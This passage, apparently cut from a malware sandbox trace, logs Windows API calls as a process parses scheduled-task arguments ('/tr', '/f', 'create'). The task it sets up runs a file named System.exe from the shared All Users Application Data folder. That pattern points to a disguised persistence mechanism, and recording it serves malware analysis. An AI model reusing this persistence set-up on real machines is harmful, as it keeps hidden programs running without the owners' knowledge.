returned 0x0 [0127.711] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.711] lstrlenW (lpString="tr") returned 2 [0127.711] lstrlenW (lpString="tr") returned 2 [0127.711] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.711] lstrlenW (lpString="tr") returned 2 [0127.711] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.711] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tr|") returned 4 [0127.711] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tr|") returned 4 [0127.711] lstrlenW (lpString="|tr|") returned 4 [0127.711] lstrlenW (lpString="|tr|") returned 4 [0127.711] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0127.712] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.712] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.712] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0127.712] lstrlenW (lpString="-/") returned 2 [0127.712] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0127.712] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.712] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.712] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.712] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0127.712] StrChrIW (lpStart="'C:\\Users\\All Users\\Application Data\\System.exe'", wMatch=0x3a) returned=":\\Users\\All Users\\Application Data\\System.exe'" [0127.712] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0127.712] _memicmp (_Buf1=0x1eb77c13c30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.712] _memicmp (_Buf1=0x1eb77c1a960, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.712] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.712] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.712] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.712] lstrlenW (lpString="'C") returned 2 [0127.712] lstrlenW (lpString="-/") returned 2 [0127.712] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0127.712] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.712] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.712] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.712] _memicmp (_Buf1=0x1eb77c1a920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.712] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0127.712] GetProcessHeap () returned 0x1eb77c10000 [0127.712] HeapValidate (hHeap=0x1eb77c10000, dwFlags=0x0, lpMem=0x1eb77c1aae0) returned 1 [0127.712] GetProcessHeap () returned 0x1eb77c10000 [0127.712] RtlReAllocateHeap (Heap=0x1eb77c10000, Flags=0xc, Ptr=0x1eb77c1aae0, Size=0x62) returned 0x1eb77c13b70 [0127.712] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0127.713] lstrlenW (lpString=" \x09") returned 2 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0127.713] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0127.713] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0127.714] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0127.714] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0127.714] StrChrW (lpStart=" \x09", wMatch=0x6e) returned 0x0 [0127.714] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0127.714] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0127.714] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0127.714] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0127.714] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0127.714] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0127.714] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0127.714] StrChrW (lpStart=" \x09", wMatch=0x79) returned 0x0 [0127.714] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0127.714] StrChrW (lpStart=" \x09", wMatch=0x74) returned 0x0 [0127.714] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0127.714] StrChrW (lpStart=" \x09", wMatch=0x6d) returned 0x0 [0127.714] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0127.714] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0127.714] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0127.714] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0127.714] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0127.714] GetLastError () returned 0x0 [0127.714] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0127.714] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0127.714] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.714] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.714] lstrlenW (lpString="/f") returned 2 [0127.714] lstrlenW (lpString="-/") returned 2 [0127.714] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0127.714] lstrlenW (lpString="create") returned 6 [0127.714] lstrlenW (lpString="create") returned 6 [0127.715] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.715] lstrlenW (lpString="f") returned 1 [0127.715] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.715] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x9, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|create|") returned 8 [0127.715] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.715] lstrlenW (lpString="|create|") returned 8 [0127.715] lstrlenW (lpString="|f|") returned 3 [0127.715] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0127.715] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.715] lstrlenW (lpString="?") returned 1 [0127.715] lstrlenW (lpString="?") returned 1 [0127.715] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.715] lstrlenW (lpString="f") returned 1 [0127.715] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.715] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|?|") returned 3 [0127.715] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.715] lstrlenW (lpString="|?|") returned 3 [0127.715] lstrlenW (lpString="|f|") returned 3 [0127.715] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0127.715] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.715] lstrlenW (lpString="s") returned 1 [0127.715] lstrlenW (lpString="s") returned 1 [0127.715] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.716] lstrlenW (lpString="f") returned 1 [0127.716] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.716] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|s|") returned 3 [0127.716] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.716] lstrlenW (lpString="|s|") returned 3 [0127.716] lstrlenW (lpString="|f|") returned 3 [0127.716] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0127.716] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.716] lstrlenW (lpString="u") returned 1 [0127.716] lstrlenW (lpString="u") returned 1 [0127.716] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.716] lstrlenW (lpString="f") returned 1 [0127.716] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.716] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|u|") returned 3 [0127.716] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.718] lstrlenW (lpString="|u|") returned 3 [0127.718] lstrlenW (lpString="|f|") returned 3 [0127.718] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0127.718] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.718] lstrlenW (lpString="p") returned 1 [0127.718] lstrlenW (lpString="p") returned 1 [0127.718] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.718] lstrlenW (lpString="f") returned 1 [0127.718] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.719] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|p|") returned 3 [0127.719] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.719] lstrlenW (lpString="|p|") returned 3 [0127.719] lstrlenW (lpString="|f|") returned 3 [0127.719] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0127.719] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.719] lstrlenW (lpString="ru") returned 2 [0127.719] lstrlenW (lpString="ru") returned 2 [0127.719] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.719] lstrlenW (lpString="f") returned 1 [0127.719] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.719] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|ru|") returned 4 [0127.719] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.719] lstrlenW (lpString="|ru|") returned 4 [0127.719] lstrlenW (lpString="|f|") returned 3 [0127.719] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0127.719] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.719] lstrlenW (lpString="rp") returned 2 [0127.719] lstrlenW (lpString="rp") returned 2 [0127.719] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.719] lstrlenW (lpString="f") returned 1 [0127.719] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.719] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|rp|") returned 4 [0127.719] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.719] lstrlenW (lpString="|rp|") returned 4 [0127.719] lstrlenW (lpString="|f|") returned 3 [0127.720] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0127.720] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.720] lstrlenW (lpString="sc") returned 2 [0127.720] lstrlenW (lpString="sc") returned 2 [0127.720] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.720] lstrlenW (lpString="f") returned 1 [0127.720] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.720] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|sc|") returned 4 [0127.720] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.720] lstrlenW (lpString="|sc|") returned 4 [0127.720] lstrlenW (lpString="|f|") returned 3 [0127.720] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0127.720] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.720] lstrlenW (lpString="mo") returned 2 [0127.720] lstrlenW (lpString="mo") returned 2 [0127.720] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.720] lstrlenW (lpString="f") returned 1 [0127.720] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.720] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|mo|") returned 4 [0127.720] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.720] lstrlenW (lpString="|mo|") returned 4 [0127.720] lstrlenW (lpString="|f|") returned 3 [0127.720] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0127.720] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.720] lstrlenW (lpString="d") returned 1 [0127.720] lstrlenW (lpString="d") returned 1 [0127.720] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.721] lstrlenW (lpString="f") returned 1 [0127.721] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.721] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|d|") returned 3 [0127.721] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.721] lstrlenW (lpString="|d|") returned 3 [0127.721] lstrlenW (lpString="|f|") returned 3 [0127.721] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0127.721] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.721] lstrlenW (lpString="m") returned 1 [0127.721] lstrlenW (lpString="m") returned 1 [0127.721] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.721] lstrlenW (lpString="f") returned 1 [0127.721] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.721] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|m|") returned 3 [0127.721] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.721] lstrlenW (lpString="|m|") returned 3 [0127.721] lstrlenW (lpString="|f|") returned 3 [0127.721] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0127.721] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.721] lstrlenW (lpString="i") returned 1 [0127.721] lstrlenW (lpString="i") returned 1 [0127.721] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.721] lstrlenW (lpString="f") returned 1 [0127.721] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.721] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|i|") returned 3 [0127.721] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.722] lstrlenW (lpString="|i|") returned 3 [0127.722] lstrlenW (lpString="|f|") returned 3 [0127.722] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0127.722] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.722] lstrlenW (lpString="tn") returned 2 [0127.722] lstrlenW (lpString="tn") returned 2 [0127.722] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.722] lstrlenW (lpString="f") returned 1 [0127.722] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.722] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tn|") returned 4 [0127.722] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.722] lstrlenW (lpString="|tn|") returned 4 [0127.722] lstrlenW (lpString="|f|") returned 3 [0127.722] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0127.722] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.722] lstrlenW (lpString="tr") returned 2 [0127.722] lstrlenW (lpString="tr") returned 2 [0127.722] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.722] lstrlenW (lpString="f") returned 1 [0127.722] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.722] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|tr|") returned 4 [0127.722] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.722] lstrlenW (lpString="|tr|") returned 4 [0127.722] lstrlenW (lpString="|f|") returned 3 [0127.722] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0127.722] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.722] lstrlenW (lpString="st") returned 2 [0127.723] lstrlenW (lpString="st") returned 2 [0127.723] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.723] lstrlenW (lpString="f") returned 1 [0127.723] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.723] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|st|") returned 4 [0127.723] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.723] lstrlenW (lpString="|st|") returned 4 [0127.723] lstrlenW (lpString="|f|") returned 3 [0127.723] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0127.723] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.723] lstrlenW (lpString="sd") returned 2 [0127.723] lstrlenW (lpString="sd") returned 2 [0127.723] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.723] lstrlenW (lpString="f") returned 1 [0127.723] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.723] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|sd|") returned 4 [0127.723] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.723] lstrlenW (lpString="|sd|") returned 4 [0127.723] lstrlenW (lpString="|f|") returned 3 [0127.723] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0127.723] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.723] lstrlenW (lpString="ed") returned 2 [0127.723] lstrlenW (lpString="ed") returned 2 [0127.723] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.723] lstrlenW (lpString="f") returned 1 [0127.723] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.724] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|ed|") returned 4 [0127.724] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.724] lstrlenW (lpString="|ed|") returned 4 [0127.724] lstrlenW (lpString="|f|") returned 3 [0127.724] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0127.724] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.724] lstrlenW (lpString="it") returned 2 [0127.724] lstrlenW (lpString="it") returned 2 [0127.724] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.724] lstrlenW (lpString="f") returned 1 [0127.724] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.724] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|it|") returned 4 [0127.724] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.724] lstrlenW (lpString="|it|") returned 4 [0127.724] lstrlenW (lpString="|f|") returned 3 [0127.724] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0127.724] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.724] lstrlenW (lpString="et") returned 2 [0127.724] lstrlenW (lpString="et") returned 2 [0127.724] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.724] lstrlenW (lpString="f") returned 1 [0127.724] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.724] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|et|") returned 4 [0127.724] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.724] lstrlenW (lpString="|et|") returned 4 [0127.724] lstrlenW (lpString="|f|") returned 3 [0127.724] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0127.725] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.725] lstrlenW (lpString="k") returned 1 [0127.725] lstrlenW (lpString="k") returned 1 [0127.725] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.725] lstrlenW (lpString="f") returned 1 [0127.725] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.725] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|k|") returned 3 [0127.725] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.725] lstrlenW (lpString="|k|") returned 3 [0127.725] lstrlenW (lpString="|f|") returned 3 [0127.725] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0127.725] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.725] lstrlenW (lpString="du") returned 2 [0127.725] lstrlenW (lpString="du") returned 2 [0127.725] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.725] lstrlenW (lpString="f") returned 1 [0127.725] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.725] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|du|") returned 4 [0127.725] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.725] lstrlenW (lpString="|du|") returned 4 [0127.725] lstrlenW (lpString="|f|") returned 3 [0127.725] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0127.725] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.725] lstrlenW (lpString="ri") returned 2 [0127.725] lstrlenW (lpString="ri") returned 2 [0127.725] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.725] lstrlenW (lpString="f") returned 1 [0127.725] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.726] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x5, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|ri|") returned 4 [0127.726] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|f|") returned 3 [0127.726] lstrlenW (lpString="|ri|") returned 4 [0127.726] lstrlenW (lpString="|f|") returned 3 [0127.726] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0127.726] RtlRestoreLastWin32Error () returned 0x8f1118d000 [0127.726] lstrlenW (lpString="z") returned 1 [0127.726] lstrlenW (lpString="z") returned 1 [0127.726] _memicmp (_Buf1=0x1eb77c14830, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.726] lstrlenW (lpString="f") returned 1 [0127.726] _memicmp (_Buf1=0x1eb77c14330, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0127.726] _vsnwprintf (in: _Buffer=0x1eb77c13b40, _BufferCount=0x4, _Format="|%s|", _ArgList=0x8f10f2c888 | out: _Buffer="|z|") returned 3 [0127.726] _vsnwprintf (in: _Buffer=0x1eb77c14350, _BufferCount=0x4, _Format="|%s|", 